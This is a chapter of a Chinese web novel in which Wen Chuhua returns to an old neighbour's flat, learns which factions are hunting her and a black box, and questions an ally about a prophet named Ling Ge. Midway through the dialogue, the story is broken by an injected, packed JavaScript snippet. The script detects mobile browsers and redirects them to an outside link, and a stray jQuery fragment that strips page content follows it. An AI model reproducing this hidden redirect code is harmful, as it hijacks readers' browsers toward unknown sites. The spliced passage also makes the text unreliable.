她往楼上走。五楼的门半掩着,门缝里渗出一片暖黄的光。她刚抬手,还没来得及敲门,门就开了。沈婆婆站在门口,扶着门框,看了看她,又看了看她身后的苏游云,然后把门拉开,侧身让出通道。 “你瘦了。”沈婆婆说。 温初花走进屋,在桌边坐下。屋里很暖和,桌上摆着一碗白粥和一小碟咸菜,粥还冒着热气。墙角堆着几袋米和几捆菜,门边多了一床叠得整整齐齐的被子。她端起那碗粥,喝了一口,粥是温的,米粒煮得软烂,咸菜的咸味恰到好处。 她端着碗,喝了好几口,才放下。 “外面的人有没有为难你?”沈婆婆问。 “没有。” “那个□□派来的人呢?” “废了。放回去了。” 沈婆婆点了点头,没有追问。她端起水杯喝了一口,看着温初花,目光里有温初花熟悉的东西——那种你走了很远的路回到家门口,有人在门后等着你推门进来的感觉。 阿七从厨房里走出来,手里端着一盘切好的腌萝卜,搁在桌上,又退了两步。他的脸比以前瘦了一圈,颧骨顶出来,穿着一件洗得发白的外套,左手上有一道新疤,还没有完全愈合。他看到温初花的时候,停了一下,把腌萝卜往她面前推了推,又退回了原来的位置。 “你住这?”温初花问。 阿七摇了摇头。“我住楼下,你原来隔壁那间。老周打扫出来的。” 温初花夹了一块腌萝卜,嚼了嚼,没有接话。萝卜脆,咸中带甜,腌得很入味。她把它咽下去,又夹了一块。阿七靠在厨房门口,等她把那盘萝卜吃了一半,才开口。 “白洛明派了第二批人,正在藤洲各处搜你的行踪。他不知道你回了鬼街,但他知道你从鬼街出来了。那个影刃被你废了之后,他手里的底牌少了一张,他现在比之前更急。”阿七说,“他要那个黑匣子。活要见人,死要见尸,匣子也一样。” 温初花把筷子放下。“三大势力呢?” “白洛明要杀你。预言对他威胁最大,你活着一天,他的位置就多一分危险。”阿七说,“林生宸想抓你活口,他想把你控制在手里,利用预言给自己铺路。余无清那边没有动静,源初联邦静得像一口井,什么都打听不到。我安插在那边的人传回来的消息只有一句话——‘余无清在看。’” “看什么?” “不知道。但他在看。” 温初花的手指在桌沿上敲了一下。余无清这个名字她听过,但了解不多。三大势力里最沉默的一个,从不主动出击,从不公开表态,像一潭看不到底的水。 她想了想,又问:“凌歌最近有动作吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650387|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿七看了她一眼。“你消息倒灵通。他召见了□□的人。不知道说了什么,但□□的人离开之后脸色很难看。” 他说的这些事,温初花在心里过了一遍,把那些名字和它们代表的势力在她脑子里排成一行。白洛明想杀她,林生宸想抓她,余无清在看,凌歌在幕后拨弄着什么。 四根线从四个方向伸过来,有的细,有的粗,有的亮,有的暗,全部落在她身上。 “我今晚会出去一趟,试试能不能从外面重新打开通道。明天天亮之前回来。”温初花站起来,往门口走了两步,又停下,偏头看着阿七,“你要不要跟我一起走?” 阿七没有动。他的手指在裤缝上攥了一下,又松开了。 他低头看着自己的鞋尖,沉默了片刻,然后抬起头看着她,目光比刚才更深了一些。 “我不能出去。”阿七说,“我妹妹还在白洛明手里。如果白洛明发现我跟你有联系,她会死。而且我必须留在鬼街,替你做你在鬼街该做的事,也做给外面那些人看——让他们觉得我们还在互相提防。”他顿了一下,“他们需要一个‘背叛过你的叛徒’,不是你的新朋友。” 温初花看着他的眼睛。她没有说好,也没有说不好。她只是看了他很久,然后点了一下头。 “留下来也可以,帮我盯着鬼街的动静。”她说,“我这边需要人手。” 阿七没有接话。他往后退了一步,又退回厨房门口的阴影里。 温初花转身下楼。 走到三楼拐角的时候,她放慢了脚步。苏游云跟在她身后,在她停下来的时候也停了下来。两个人站在楼梯拐角,月光从破窗户照进来,把两个人的影子叠在一起。 “凌歌到底是什么人?”温初花压低了声音,因为不想让楼上的人听到接下来的对话,“他到底是帮我,还是害我?” 苏游云沉默了一会儿。他看着窗外那片灰蒙蒙的月色,像是在想该怎么说。 “凌歌……”他转过身来,看着她,声音跟她一样低,像是怕惊动什么,“他只做他认为‘对’的事。至于什么是‘对’,只有他自己知道。我跟他合作过,但他从不告诉我下一步要做什么。他会给你指一个方向,但不会告诉你走到那个方向之后会遇到什么。” “那他对我的预言呢?” “他二十年前就说过‘鬼街将孕破笼之人’。一年前他说‘破笼之人已至,其名藏花,其手藏匣’。这两句话让白洛明疯了,也让整个藤洲的底层异人看到了一条活路。”苏游云说,“但凌歌从来不会告诉你这些话的背后是什么。他只给你前半句。” 温初花靠在墙上。她低下头,看着自己的鞋尖,鞋面上沾了一些鬼街特有的灰泥,细密的,带着一点潮气。窗外的月亮又亮了一些,月光从云层后面透出来,把走廊里那几道老旧的裂缝照得清清楚楚。 “苏游云。” “嗯。” “如果有一天,你发现他做的那些‘对的事’里,有一件是对不起你的,你会怎么办?” 苏游云沉默了很久。久到温初花以为他不会回答了。然后他开了口,声音很轻,轻得像在自言自语:“那就到时候再说。” 温初花从墙上撑起来,走到楼梯口,月光从她肩头滑落。 “走吧,”她说,“去试试那道门能走多远。”